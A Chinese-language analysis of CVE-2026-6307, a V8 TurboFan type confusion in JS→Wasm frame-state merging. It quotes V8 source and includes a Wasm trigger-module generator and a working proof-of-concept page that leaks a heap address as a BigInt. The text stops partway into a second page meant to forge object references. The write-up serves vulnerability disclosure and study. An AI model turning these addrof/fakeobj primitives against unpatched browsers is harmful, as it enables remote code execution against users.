CVE-2026-6307:漏掉一次签名比较,Wasm 返回类型错乱
TurboFan 把两条返回类型不同的 JS→Wasm 调用点内联进同一个函数时,帧状态判等函数漏掉了 Wasm 签名的比较,两份帧状态被判成同一份;一次惰性反优化之后,返回值按错误的类型物化——对象地址被读成整数,整数被当成对象指针。
TurboFan 把两条返回类型不同的 JS→Wasm 调用点内联进同一个函数时,帧状态判等函数漏掉了 Wasm 签名的比较,两份帧状态被判成同一份;一次惰性反优化之后,返回值按错误的类型物化——对象地址被读成整数,整数被当成对象指针。

漏洞说明
CVE-2026-6307 是 Chrome V8 引擎 TurboFan JIT 里的一处类型混淆(CWE-843)。编译器在做公共子表达式消除时合并帧状态(FrameState merging),判等函数漏掉了 Wasm 签名这一项,两条返回类型不同的 JS→Wasm 调用点被判成同一份帧状态;JS 函数把这些调用点内联之后,一次惰性反优化就会让返回值按错误的类型物化。
项 | 内容 |
CVE 编号 | |
漏洞类型 | 类型混淆(CWE-843) |
严重等级 | Chromium 官方定级 High;公开漏洞库给出的 CVSS 3.1 为 8.8、CVSS 4.0 为 8.6 |
影响组件 | V8 TurboFan(帧状态合并 / JS→Wasm 反优化路径),判等函数位于 |
影响版本 | Chrome 106 起,至 147.0.7727.101 之前(Windows / macOS / Linux / Android);下游基于 Chromium 的浏览器(Edge、Brave、Opera 等)同样受影响 |
修复版本 | Chrome 147.0.7727.101(stable 渠道 2026-04-15 更新) |
危害 | 远程攻击者可用一个构造的 HTML 页面在 V8 堆沙箱内执行任意代码;单点触发即可完成对象引用与整数位模式的互转(addrof / fakeobj),是沙箱内利用链的常备一环 |
时间线 | 2026-03-29 上报;03-30 确认;03-31 修复进入分支;04-07 进入发布;04-15 厂商公告与 NVD 公开;06-02 细节披露 |
公开来源 | NVD、Chromium 稳定渠道公告(2026-04-15)、CNVD-2026-19175 |
一、一个属性读取里的两条 Wasm 调用点
foo(o){return o.x;} 这样一行属性读取,只要两条原型链上的 getter 各自指向一个 Wasm 导出函数,TurboFan 内联后就会在函数里留下两条 JS→Wasm 调用点。两个导出函数的参数签名可以完全相同,返回类型却不同:一个返回 externref,一个返回 i64。V8 在合并编译器中间状态时把这两条调用点携带的帧状态判成了同一份——负责判等的函数逐项比较基类的八个字段,唯独漏掉了派生类携带的那一个签名指针。
归并之后只剩一份签名。惰性反优化发生时,反优化器按这份签名解释返回寄存器里的位模式:kI64 把 kReturnRegister0 当成未加标记的 64 位整数,kRef 把它当成带标记指针。位模式一个比特都没变,变的只是解释方式,于是同一个返回值既可以是对象引用,也可以是整数。
整条链上没有一次越界访问,也没有一处校验缺失,只有一次“本该判不等却判相等”的等价判定:
项 | 内容 |
组件 | V8:TurboFan 内联 JS→Wasm 调用,惰性反优化物化返回值 |
版本 | 14.7.173.16 及之前命中,14.7.173.19 修复 |
触发前提 | JS 函数内联两条返回类型不同的 Wasm 调用点;Wasm 调用返回之后发生惰性反优化 |
效果 | 对象引用与整数位模式互转:泄漏堆地址(addrof)、伪造对象引用(fakeobj) |
模块要求 | 无内存段、无表、无数据段,120 字节即可 |
二、逐字段判等漏掉的那个签名指针
src/compiler/frame-states.cc 里有个只服务编译器的判等函数,它决定两份“函数帧状态元信息”是否算同一份。
源码位置:src/compiler/frame-states.cc(37-63 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/frame-states.cc#37
bool operator==(FrameStateFunctionInfo const& lhs,
FrameStateFunctionInfo const& rhs) {
#if V8_HOST_ARCH_X64
// If this static_assert fails, then you've probably added a new field to
// FrameStateFunctionInfo. Make sure to take it into account in this equality
// function, and update the static_assert.
#if V8_ENABLE_WEBASSEMBLY
static_assert(sizeof(FrameStateFunctionInfo) == 40);
#else
static_assert(sizeof(FrameStateFunctionInfo) == 32);
#endif
#endif
#if V8_ENABLE_WEBASSEMBLY
if (lhs.wasm_liftoff_frame_size() != rhs.wasm_liftoff_frame_size() ||
lhs.wasm_function_index() != rhs.wasm_function_index()) {
return false;
}
#endif
return lhs.type() == rhs.type() &&
lhs.parameter_count() == rhs.parameter_count() &&
lhs.max_arguments() == rhs.max_arguments() &&
lhs.local_count() == rhs.local_count() &&
lhs.shared_info().equals(rhs.shared_info()) &&
lhs.bytecode_array().equals(rhs.bytecode_array());
}注释里点明了该防的情况:给 FrameStateFunctionInfo 加字段的人,要同步这个判等函数,也要同步尺寸检查。没有被同步的是派生类独有的那个字段。
延续帧的真正身份在派生类里。基类持有与 JS 帧状态相关的八项信息:类型、liftoff 帧大小、wasm 函数索引、参数个数、最大参数个数、局部变量个数、shared_info、bytecode_array;signature_ 是第九项,也是唯一区分得出 () -> externref 与 () -> i64 的字段。两个 wasm 函数在帧大小、参数个数、类型上完全重合,差异全部压在这一个指针上。
源码位置:src/compiler/frame-states.h(157-175 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/frame-states.h#157
#if V8_ENABLE_WEBASSEMBLY
class JSToWasmFrameStateFunctionInfo : public FrameStateFunctionInfo {
public:
JSToWasmFrameStateFunctionInfo(FrameStateType type, uint16_t parameter_count,
int local_count,
IndirectHandle<SharedFunctionInfo> shared_info,
const wasm::CanonicalSig* signature)
: FrameStateFunctionInfo(type, parameter_count, 0, local_count,
shared_info, {}),
signature_(signature) {
DCHECK_NOT_NULL(signature);
}
const wasm::CanonicalSig* signature() const { return signature_; }
private:
const wasm::CanonicalSig* const signature_;
};
#endif // V8_ENABLE_WEBASSEMBLYoperator== 只做四件事,其中一件直接转调上面那个失败的判等函数。
源码位置:src/compiler/frame-states.cc(自由函数 operator==)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/frame-states.cc
bool operator==(FrameStateInfo const& lhs,
FrameStateInfo const& rhs) {
return lhs.type() == rhs.type() &&
lhs.bailout_id() == rhs.bailout_id() &&
lhs.state_combine() == rhs.state_combine() &&
*lhs.function_info() == *rhs.function_info();
}于是两份延续帧在编译器眼里完全一样:type() 同为 kJSToWasmBuiltinContinuation,function_info() 按八项判定相等,bailout_id() 都指向 kJSToWasmLazyDeoptContinuation 的偏移,state_combine() 同为 Ignore()。哈希函数走的是同一套比较,连哈希值都一致。CSE/GVN 见到第二份帧状态时不会有任何犹豫:直接复用第一份节点,第二份签名连同它携带的返回类型一起被丢掉。
保留哪一份由节点表里谁先出现决定:先被登记的帧状态存活,后来的被归并。第九节里同一套机制能往两个方向走,根子就在这里。
三、延续帧是怎么建起来的
签名最初是正确的。TurboFan 内联 wasm 调用时,把真实签名写进派生类对象,并把帧状态的字节码偏移固定指向惰性反优化。
源码位置:src/compiler/turboshaft/wasm-in-js-inlining-reducer-inl.h(1481-1499 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/turboshaft/wasm-in-js-inlining-reducer-inl.h#1481
template <class Next>
V<turboshaft::FrameState>
WasmInJSInliningReducer<Next>::CreateJSWasmCallBuiltinContinuationFrameState(
V<Context> js_context, V<turboshaft::FrameState> outer_frame_state,
const wasm::CanonicalSig* signature) {
constexpr uint16_t kParameterCount = 0;
constexpr int kLocalCount = 0;
const FrameStateType frame_type =
FrameStateType::kJSToWasmBuiltinContinuation;
Handle<SharedFunctionInfo> shared = Handle<SharedFunctionInfo>();
Zone* zone = __ data() -> compilation_zone();
const FrameStateFunctionInfo* frame_state_function_info =
zone->template New<compiler::JSToWasmFrameStateFunctionInfo>(
frame_type, kParameterCount, kLocalCount, shared, signature);
const FrameStateInfo* frame_state_info = zone->template New<FrameStateInfo>(
Builtins::GetContinuationBytecodeOffset(
Builtin::kJSToWasmLazyDeoptContinuation),
OutputFrameStateCombine::Ignore(), frame_state_function_info);签名由内联器取自 wasm 调用现场,这一步没有问题。错位从下一步开始。
四、签名如何落进 return_kind_
指令选择阶段按帧状态类型分派,kJSToWasmBuiltinContinuation 有单独分支,构造描述符时把 function_info->signature() 传下去。
源码位置:src/compiler/backend/instruction-selector.cc(4082-4089 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/instruction-selector.cc#4082
if (state_info.type() == FrameStateType::kJSToWasmBuiltinContinuation) {
auto function_info = static_cast<const JSToWasmFrameStateFunctionInfo*>(
state_info.function_info());
return zone->New<JSToWasmFrameStateDescriptor>(
zone, state_info.type(), state_info.bailout_id(),
state_info.state_combine(), parameters, locals, stack,
state_info.shared_info(), outer_state, function_info->signature());
}被归并掉的帧状态走到这里时,function_info() 指向的是存活的那一份,signature() 取出的自然就是另一条 wasm 函数的签名。描述符二话不说把它折算成返回类型。
源码位置:src/compiler/backend/ins*tr*uc*tion.cc(1329-1338 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/ins*tr*uc*tion.cc
JSToWasmFrameStateDescriptor::JSToWasmFrameStateDescriptor(
Zone* zone, FrameStateType type, BytecodeOffset bailout_id,
OutputFrameStateCombine state_combine, uint16_t parameters_count,
size_t locals_count, size_t stack_count,
MaybeIndirectHandle<SharedFunctionInfo> shared_info,
FrameStateDescriptor* outer_state, const wasm::CanonicalSig* wasm_signature)
: FrameStateDescriptor(zone, type, bailout_id, state_combine,
parameters_count, 0, locals_count, stack_count,
shared_info, {}, outer_state),
return_kind_(wasm::WasmReturnTypeFromSignature(wasm_signature)) {}折算规则很短,只看签名的返回个数与返回类型:
源码位置:src/wasm/value-type.cc(169-176 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/wasm/value-type.cc#169
std::optional<wasm::ValueKind> WasmReturnTypeFromSignature(
const CanonicalSig* wasm_signature) {
if (wasm_signature->return_count() == 0) return {};
DCHECK_EQ(wasm_signature->return_count(), 1);
CanonicalValueType return_type = wasm_signature->GetReturn(0);
return {return_type.kind()};
}结果落在 return_kind_ 上,可能的值只有 kRef(externref / funcref)和 kI64,而这一刻它拿到的是错的。
源码位置:src/compiler/backend/instruction.h(1646-1660 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/instruction.h#1646
class JSToWasmFrameStateDescriptor : public FrameStateDescriptor {
public:
JSToWasmFrameStateDescriptor(
Zone* zone, FrameStateType type, BytecodeOffset bailout_id,
OutputFrameStateCombine state_combine, uint16_t parameters_count,
size_t locals_count, size_t stack_count,
MaybeIndirectHandle<SharedFunctionInfo> shared_info,
FrameStateDescriptor* outer_state,
const wasm::CanonicalSig* wasm_signature);
std::optional<wasm::ValueKind> return_kind() const { return return_kind_; }
private:
std::optional<wasm::ValueKind> return_kind_;
};写进翻译表时它继续往下传。
源码位置:src/compiler/backend/code-generator.cc(1386-1393 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/compiler/backend/code-generator.cc#1386
case FrameStateType::kJSToWasmBuiltinContinuation: {
const JSToWasmFrameStateDescriptor* js_to_wasm_descriptor =
static_cast<const JSToWasmFrameStateDescriptor*>(descriptor);
translations_.BeginJSToWasmBuiltinContinuationFrame(
bailout_id, shared_info_id, height,
js_to_wasm_descriptor->return_kind());
break;
}反优化时按同一个操作码读回来,取到的还是那个错误标注。
源码位置:src/deoptimizer/translated-state.cc(1153-1173 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.cc#1153
case TranslationOpcode::JS_TO_WASM_BUILTIN_CONTINUATION_FRAME: {
BytecodeOffset bailout_id = BytecodeOffset(iterator->NextOperand());
Tagged<SharedFunctionInfo> shared_info = Cast<SharedFunctionInfo>(
literal_array.get_on_heap_literals()->get(iterator->NextOperand()));
uint32_t height = iterator->NextOperandUnsigned();
int return_kind_code = iterator->NextOperand();
std::optional<wasm::ValueKind> return_kind;
if (return_kind_code != kNoWasmReturnKind) {
return_kind = static_cast<wasm::ValueKind>(return_kind_code);
}
...
return TranslatedFrame::JSToWasmBuiltinContinuationFrame(
bailout_id, shared_info, height, return_kind);
}源码位置:src/deoptimizer/translated-state.h(324-329 行、422-427 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.h#324
#if V8_ENABLE_WEBASSEMBLY
// Only for Kind == kJSToWasmBuiltinContinuation
std::optional<wasm::ValueKind> wasm_call_return_kind() const {
DCHECK_EQ(kind(), kJSToWasmBuiltinContinuation);
return return_kind_;
}
...
// Only for Kind == kJSToWasmBuiltinContinuation
std::optional<wasm::ValueKind> return_kind_;编译器内部各环节彼此一致,一致的依据是一个错误的签名。
五、位模式进入返回槽之后的两种解释
真正动手的是反优化器,它拿到返回类型后,按类型去解释返回寄存器里的原始位。
源码位置:src/deoptimizer/deoptimizer.cc(2673-2706 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/deoptimizer.cc#2673
#if V8_ENABLE_WEBASSEMBLY
TranslatedValue Deoptimizer::TranslatedValueForWasmReturnKind(
std::optional<wasm::ValueKind> wasm_call_return_kind) {
if (wasm_call_return_kind) {
switch (wasm_call_return_kind.value()) {
case wasm::kI32:
return TranslatedValue::NewInt32(
&translated_state_,
static_cast<int32_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kI64:
return TranslatedValue::NewInt64ToBigInt(
&translated_state_,
static_cast<int64_t>(input_->GetRegister(kReturnRegister0.code())));
case wasm::kF32:
return TranslatedValue::NewFloat(
&translated_state_,
input_->GetFloatRegister(wasm::kFpReturnRegisters[0].code()));
case wasm::kF64:
return TranslatedValue::NewDouble(
&translated_state_,
input_->GetDoubleRegister(wasm::kFpReturnRegisters[0].code()));
case wasm::kRefNull:
case wasm::kRef:
return TranslatedValue::NewTagged(
&translated_state_,
Tagged<Object>(input_->GetRegister(kReturnRegister0.code())));
default:
UNREACHABLE();
}
}
return TranslatedValue::NewTagged(&translated_state_,
ReadOnlyRoots(isolate()).undefined_value());
}
#endif // V8_ENABLE_WEBASSEMBLY两条分支共用同一个物理寄存器 kReturnRegister0:kI64 把它当未加标记的 64 位整数,kRef 把它当带标记指针。位模式一个字都没改,改的是对它的解释方式。
构造出的值随后被写进延续帧的返回槽,这是普通延续帧与 JS→Wasm 延续帧的分岔点。
源码位置:src/deoptimizer/deoptimizer.cc(2766-2784 行、2882-2891 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/deoptimizer.cc#2766
void Deoptimizer::DoComputeBuiltinContinuation(
TranslatedFrame* translated_frame, int frame_index,
BuiltinContinuationMode mode) {
TranslatedFrame::iterator result_iterator = translated_frame->end();
bool is_js_to_wasm_builtin_continuation = false;
#if V8_ENABLE_WEBASSEMBLY
is_js_to_wasm_builtin_continuation =
translated_frame->kind() == TranslatedFrame::kJSToWasmBuiltinContinuation;
if (is_js_to_wasm_builtin_continuation) {
// For JSToWasmBuiltinContinuations, add a TranslatedValue with the result
// of the Wasm call, extracted from the input FrameDescription.
// This TranslatedValue will be written in the output frame in place of the
// hole and we'll use ContinueToCodeStubBuiltin in place of
// ContinueToCodeStubBuiltinWithResult.
TranslatedValue result = TranslatedValueForWasmReturnKind(
translated_frame->wasm_call_return_kind());
translated_frame->Add(result);
}
#endif // V8_ENABLE_WEBASSEMBLY if (frame_info.frame_has_result_stack_slot()) {
if (is_js_to_wasm_builtin_continuation) {
frame_writer.PushTranslatedValue(result_iterator,
"return result on lazy deopt\n");
} else {
DCHECK_EQ(result_iterator, translated_frame->end());
frame_writer.PushRawObject(
roots.the_hole_value(),
"placeholder for return result on lazy deopt\n");
}
}普通延续帧往返回槽里放一个 the_hole 占位,等后续写入;JS→Wasm 延续帧把自己算出来的值直接塞进去,并且刻意改用 ContinueToCodeStubBuiltin 而不是 ContinueToCodeStubBuiltinWithResult,免得结果被覆盖。
源码位置:src/deoptimizer/deoptimizer.cc(3062-3068 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/deoptimizer.cc#3062
// For JSToWasmBuiltinContinuations use ContinueToCodeStubBuiltin, and not
// ContinueToCodeStubBuiltinWithResult because we don't want to overwrite the
// return value that we have already set.
Tagged<Code> continue_to_builtin =
isolate()->builtins()->code(TrampolineForBuiltinContinuation(
mode, frame_info.frame_has_result_stack_slot() &&
!is_js_to_wasm_builtin_continuation));这个值要等到真正需要物化时才变成堆对象,种类在构造时已经钉死。
源码位置:src/deoptimizer/translated-state.cc(453-458 行、492-497 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.cc#453
// static
TranslatedValue TranslatedValue::NewInt64ToBigInt(TranslatedState* container,
int64_t value) {
TranslatedValue slot(container, kInt64ToBigInt);
slot.int64_value_ = value;
return slot;
}
// static
TranslatedValue TranslatedValue::NewTagged(TranslatedState* container,
Tagged<Object> literal) {
TranslatedValue slot(container, kTagged);
slot.raw_literal_ = literal;
return slot;
}两种解释的差别在物化阶段定型。
源码位置:src/deoptimizer/translated-state.cc(750-791 行)—— https://chromium.googlesource.com/v8/v8/+/refs/tags/14.7.173.16/src/deoptimizer/translated-state.cc#750
double number = 0;
Handle<HeapObject> heap_object;
switch (kind()) {
case TranslatedValue::kInt32:
number = int32_value();
heap_object = isolate()->factory()->NewHeapNumber(number);
break;
case TranslatedValue::kInt64:
number = int64_value();
heap_object = isolate()->factory()->NewHeapNumber(number);
break;
case TranslatedValue::kInt64ToBigInt:
heap_object = BigInt::FromInt64(isolate(), int64_value());
break;
case TranslatedValue::kUint64ToBigInt:
heap_object = BigInt::FromUint64(isolate(), uint64_value());
break;
case TranslatedValue::kUint32:
number = uint32_value();
heap_object = isolate()->factory()->NewHeapNumber(number);
break;
...
default:
UNREACHABLE();
}
DCHECK(!IsSmiDouble(number) || kind() == TranslatedValue::kInt64ToBigInt ||
kind() == TranslatedValue::kUint64ToBigInt);
set_initialized_storage(heap_object);
return storage_;对象引用被当成 kInt64ToBigInt 时,BigInt::FromInt64 会把带标记指针的整数位模式原封不动包成一个 BigInt——地址就这样漏出去;反过来,整数位模式被当成 kTagged 时,它直接成为垃圾回收器眼中的对象指针。
六、复现环境

七、120 字节的触发模块
承载触发条件的模块只有 120 字节,没有内存段、没有表、没有数据段,混淆完全靠返回槽的类型标注完成:
两条导出函数的函数体是同一个形状:先调回调(回调是反优化的扳机),再取全局并返回。返回值完全由 g_ref / g_i64 决定,两条函数唯一的差别就是返回类型。
模块由 stage1/gen-module.py 生成,固定 120 字节。
stage1/gen-module.py
#!/usr/bin/env python3
# gen-module.py -- CVE-2026-6307 复现用 Wasm 模块生成器(输出 120 字节,可直接喂给 WebAssembly.Module)
# 用法: python3 gen-module.py [输出路径]
import hashlib
import sys
def uleb(n):
out = bytearray()
while True:
b = n & 0x7F
n >>= 7
out.append(b | (0x80 if n else 0))
if not n:
return bytes(out)
def vec(items):
return uleb(len(items)) + b"".join(items)
def section(sid, payload):
return bytes([sid]) + uleb(len(payload)) + payload
def functype(params, results):
one = lambda t: bytes([t])
return b"\x60" + vec([one(p) for p in params]) + vec([one(r) for r in results])
def name(s):
raw = s.encode()
return uleb(len(raw)) + raw
FUNC, GLOBAL, MUT = 0x00, 0x03, 0x01
I64, EXTERNREF = 0x7E, 0x6F
REF_NULL, GLOBAL_GET, I64_CONST, CALL, END = 0xD0, 0x23, 0x42, 0x10, 0x0B
types = [
functype([], []), # 0: 空签名,给导入的 callback 用
functype([], [EXTERNREF]), # 1: () -> externref
functype([], [I64]), # 2: () -> i64
]
imports = [name("env") + name("callback") + bytes([FUNC]) + uleb(0)]
funcs = [uleb(1), uleb(2)]
globs = [
bytes([EXTERNREF, MUT]) + bytes([REF_NULL, EXTERNREF, END]),
bytes([I64, MUT]) + bytes([I64_CONST]) + uleb(0) + bytes([END]),
]
exports = [
name("g_ref") + bytes([GLOBAL]) + uleb(0),
name("g_i64") + bytes([GLOBAL]) + uleb(1),
name("return_ref") + bytes([FUNC]) + uleb(1),
name("return_i64") + bytes([FUNC]) + uleb(2),
]
def body(global_index):
code = bytes([CALL]) + uleb(0) + bytes([GLOBAL_GET]) + uleb(global_index) + bytes([END])
return uleb(0) + code
bodies = [body(0), body(1)]
module = (
b"\x00asm\x01\x00\x00\x00"
+ section(0x01, vec(types))
+ section(0x02, vec(imports))
+ section(0x03, vec(funcs))
+ section(0x06, vec(globs))
+ section(0x07, vec(exports))
+ section(0x0A, vec([uleb(len(b)) + b for b in bodies]))
)
EXPECT_SHA256 = "627406038b5be2777b6ef38b080f3ab4e87997d46f4f51667721313fab4a32c1"
digest = hashlib.sha256(module).hexdigest()
print("len =", len(module))
print("hex =", module.hex())
print("base64 =", __import__("base64").b64encode(module).decode())
print("sha256 =", digest)
assert len(module) == 120, "模块长度应为 120 字节"
assert digest == EXPECT_SHA256, "与靶机实测所用模块不一致"
print("module bytes match the artifact measured on the target")
path = sys.argv[1] if len(sys.argv) > 1 else "cve-2026-6307-module.wasm"
with open(path, "wb") as f:
f.write(module)
print("written =", path)生成脚本会把模块的完整十六进制打到 stdout:
# 生成 120 字节模块:字节写盘 cve-2026-6307-module.wasm,完整十六进制打到 stdout
python3 gen-module.py
同一份字节在页面里以 base64 内联。模块与各阶段文件的指纹:
# 模块、页面与脚本的 sha256
sha256sum cve-2026-6307-module.wasm gen-module.py poc.html poc-b.html run.sh runb.sh verify-all.sh
八、对象地址被当成整数返回
页面做的事分七步:
- 实例化后,把
return_i64装到ProtoForI64.prototype.x、return_ref装到ProtoForRef.prototype.x。 g_ref写入哨兵对象{tag:'sentinel'},g_i64写入42n。foo(o){return o.x;}用 20 轮foo(obj_i64)/foo(obj_ref)交替预热,让内联器见到两条 wasm 调用点。%OptimizeFunctionOnNextCall(foo)之后在arm_deopt=false下跑一次foo(obj_i64):TurboFan 代码生成完成,返回BigInt(42),帧状态在两份之间做了归并。- 置
arm_deopt=true,再跑foo(obj_ref):wasm 调用被内联进foo,调用返回后回调给ProtoForRef.prototype加了个新属性,该原型的 map 发生迁移,依赖旧 map 的优化代码被标记为需要反优化。 - 反优化在当前帧内完成,走
kJSToWasmBuiltinContinuation分支,按归并后存活的签名(i64)解释返回寄存器,把哨兵对象的带标记指针包成 BigInt。 foo(obj_ref)的返回值变成了 BigInt,类型错乱成立。
反优化必须发生在 wasm 调用返回之后,才会走到“为延续帧填充返回槽”的分支;若在调用之前就反优化,延续帧根本不会建立。
stage1/poc.html
<!doctype html>
<meta charset="utf-8">
<title>CVE-2026-6307</title>
<pre id="out">pending</pre>
<script>
"use strict";
var lines = [];
function emit(s) { lines.push(s); }
function flush() { document.getElementById('out').textContent = lines.join('\n'); }
function render(v) {
if (typeof v === 'bigint') return 'BigInt(' + v + ')';
if (v === null) return 'null';
if (v === undefined) return 'undefined';
if (typeof v === 'object') return 'object ' + JSON.stringify(v);
return typeof v + ' ' + String(v);
}
function evalTry(code) { try { return { ok: true, v: (0, eval)(code) }; } catch (e) { return { ok: false, v: e.name + ': ' + e.message }; } }
// 状态位取自 v8::internal::OptimizationStatus(src/runtime/runtime.h)
function natStatus() {
var r = evalTry('%GetOptimizationStatus(foo)');
if (!r.ok) return 'n/a';
var s = r.v, t = [];
if (s & 0x08) t.push('optimized'); // kOptimized
if (s & 0x20) t.push('turbofanned'); // kTurboFanned
if (s & 0x10) t.push('maglevved'); // kMaglevved
if (s & 0x40) t.push('interpreted'); // kInterpreted
if (s & 0x04) t.push('maybe-deopted'); // kMaybeDeopted
if (s & 0x80) t.push('marked-for-optimization'); // kMarkedForOptimization
return '0x' + s.toString(16) + ' ' + (t.length ? t.join('+') : 'none');
}
var B64 = "AGFzbQEAAAABDANgAABgAAFvYAABfgIQAQNlbnYIY2FsbGJhY2sAAAMDAgECBgsCbwHQbwt+AUIACwcrBAVnX3JlZgMABWdfaTY0AwEKcmV0dXJuX3JlZgABCnJldHVybl9pNjQAAgoPAgYAEAAjAAsGABAAIwEL";
function b64decode(s) { var bin = atob(s), a = new Uint8Array(bin.length); for (var i = 0; i < bin.length; i++) a[i] = bin.charCodeAt(i); return a; }
var WASM_BYTES = b64decode(B64);
function makeInstance(callback) {
var mod = new WebAssembly.Module(WASM_BYTES);
var inst = new WebAssembly.Instance(mod, { env: { callback: callback } });
return inst.exports;
}
emit('[*] chrome=' + navigator.userAgent.match(/Chrome\/[0-9.]+/)[0]);
// 回调在每次 wasm 调用返回后执行;arm_deopt 置位后再改原型,触发依赖旧 map 的优化代码惰性反优化
var arm_deopt = false, cb_fire = 0;
function ProtoForI64() {}
function ProtoForRef() {}
var exports_ = makeInstance(function () { cb_fire++; if (arm_deopt) { ProtoForRef.prototype.deopt_marker = 1; } });
emit('[*] wasm exports: ' + Object.keys(exports_).join(','));
// 被优化的目标函数:两条原型链上的 getter 会各自内联一个 wasm 调用
function foo(o) { return o.x; }
Object.defineProperty(ProtoForI64.prototype, 'x', { get: exports_.return_i64 });
Object.defineProperty(ProtoForRef.prototype, 'x', { get: exports_.return_ref });
var obj_i64 = new ProtoForI64();
var obj_ref = new ProtoForRef();
var sentinel = { tag: 'sentinel' };
exports_.g_ref.value = sentinel;
exports_.g_i64.value = 42n;
emit('[*] globals: g_i64=' + render(exports_.g_i64.value) + ' g_ref=' + render(exports_.g_ref.value));
// 交替预热,让内联器同时看到两条 wasm 调用点
evalTry('%PrepareFunctionForOptimization(foo)');
for (var w = 0; w < 20; w++) { foo(obj_i64); foo(obj_ref); }
emit('[*] warm-up: 20x both receivers, cb_fire=' + cb_fire);
evalTry('%OptimizeFunctionOnNextCall(foo)');
emit('[*] status before: ' + natStatus());
var r1 = evalTry('foo(obj_i64)');
emit('[*] optimized foo(obj_i64) -> ' + render(r1.v) + ' (expect BigInt(42))');
emit('[*] status after-opt: ' + natStatus() + ' cb_fire=' + cb_fire);
// 置位后第二次调用:反优化必须落在 wasm 调用返回之后,才会走到填充延续帧返回槽的分支
arm_deopt = true;
var r2 = evalTry('foo(obj_ref)');
emit('[*] lazy-deopt foo(obj_ref) -> ' + render(r2.v) + ' (expect object {"tag":"sentinel"})');
emit('[*] status after-deopt: ' + natStatus() + ' cb_fire=' + cb_fire);
// 判定:externref 返回槽被按 i64 物化,返回值从对象变成 BigInt
var confused = (typeof r2.v === 'bigint');
emit(confused ? '[+] TYPE CONFUSION: externref return slot materialized as i64 -> ' + r2.v
: '[-] no confusion observed -> ' + render(r2.v));
flush();
for (var i = 0; i < lines.length; i++) console.log('[POC] ' + lines[i]);
</script>
页面自己完成三件事:构造 wasm 实例、用 %GetOptimizationStatus 记录优化状态机、用返回值的 JS 类型做判定。判定条件只有一条——typeof r2.v === 'bigint'。
stage1/run.sh
#!/bin/bash
# 用法: ./run.sh <chrome 可执行文件> <标签> [额外的 js-flags]
# 页面结果经 --dump-dom 输出, [POC] 日志留在 stderr
CHROME="$1"; TAG="$2"; EXTRA="$3"
DIR="$(cd "$(dirname "$0")" && pwd)"
timeout -k 5 90 "$CHROME" --headless=new --no-sandbox --disable-gpu --disable-dev-shm-usage \
--user-data-dir=/tmp/cft-profile-$TAG \
--js-flags="--allow-natives-syntax --no-maglev $EXTRA" \
--enable-logging=stderr --log-level=0 \
--virtual-time-budget=15000 \
--dump-dom "file://$DIR/poc.html" > "$DIR/out-$TAG.dom" 2> "$DIR/out-$TAG.err"
echo "EXIT=$?" >> "$DIR/out-$TAG.err"--allow-natives-syntax 提供 %PrepareFunctionForOptimization、%OptimizeFunctionOnNextCall 这类内部函数入口;--no-maglev 把中间层旁路,让 foo 从解释执行直接进入 TurboFan,预热次数更短、状态机更可读;--virtual-time-budget=15000 保证 headless 下脚本完整跑完再退出。
脚本按上面的参数运行页面,日志经 stderr 落盘,再按 [POC] 前缀抽取:
# 以 145 构建无头运行 poc.html:页面结果写入 out-rv145.dom,[POC] 日志写入 out-rv145.err
./run.sh /home/nl/cve-2026-6307/chrome/v145/chrome-linux64/chrome rv145 ''# 从 out-rv145.err 抽出 [POC] 行,得到本次运行的完整判定
grep -oE '\[POC\].*' out-rv145.err | sed 's/", source.*//'
foo(obj_i64) 返回 BigInt(42) 属正常;foo(obj_ref) 给出 BigInt(54236864146045),十六进制 0x315401056a7d 末位是 d——带标记指针的 bit0 置位,泄漏值正是哨兵对象的堆地址。
优化状态机的记录里,状态从 0xc1(kIsFunction | kInterpreted | kMarkedForOptimization,标记待优化)走到 0x29(kIsFunction | kOptimized | kTurboFanned,TurboFan 代码已生成),最后落到 0x41(kIsFunction | kInterpreted,反优化完成、退回解释执行)。
回调计数上,cb_fire 从 40 增到 41、42:第 41 次在优化后的 foo(obj_i64) 里,第 42 次在触发反优化的 foo(obj_ref) 里,反优化落在 wasm 调用返回之后。
错位发生在惰性反优化的物化阶段,不在
foo的正常返回路径上。
九、整数位模式被还原成对象
归并时保留谁由节点表里谁先出现决定,把训练顺序倒过来,存活下来的签名就从 i64 换成 externref,混淆方向随之反转:g_i64 里的整数位模式会被当作带标记指针还原成对象引用。同一套机制,相反方向。
两条路径用两个独立实例隔开,就能在一个页面里先泄漏地址、再用地址伪造对象:实例 A 先以 fooA(a64) 预热,得到 externref → i64;实例 B 先以 fooB(bRef) 预热,把泄漏到的地址写回 B.g_i64,得到 i64 → tagged。
stage1/poc-b.html
<!doctype html>
<meta charset="utf-8">
<title>CVE-2026-6307 dual</title>
<pre id="out">pending</pre>
<script>
"use strict";
var L=[];
function emit(s){L.push(s);}
function flush(){document.getElementById('out').textContent=L.join('\n');}
function render(v){ if(typeof v==='bigint')return 'BigInt('+v+')'; if(v===null)return 'null'; if(v===undefined)return 'undefined'; if(typeof v==='object')return 'object '+JSON.stringify(v); return typeof v+' '+String(v); }
function evalTry(c){try{return{ok:true,v:(0,eval)(c)};}catch(e){return{ok:false,v:e.name+': '+e.message};}}
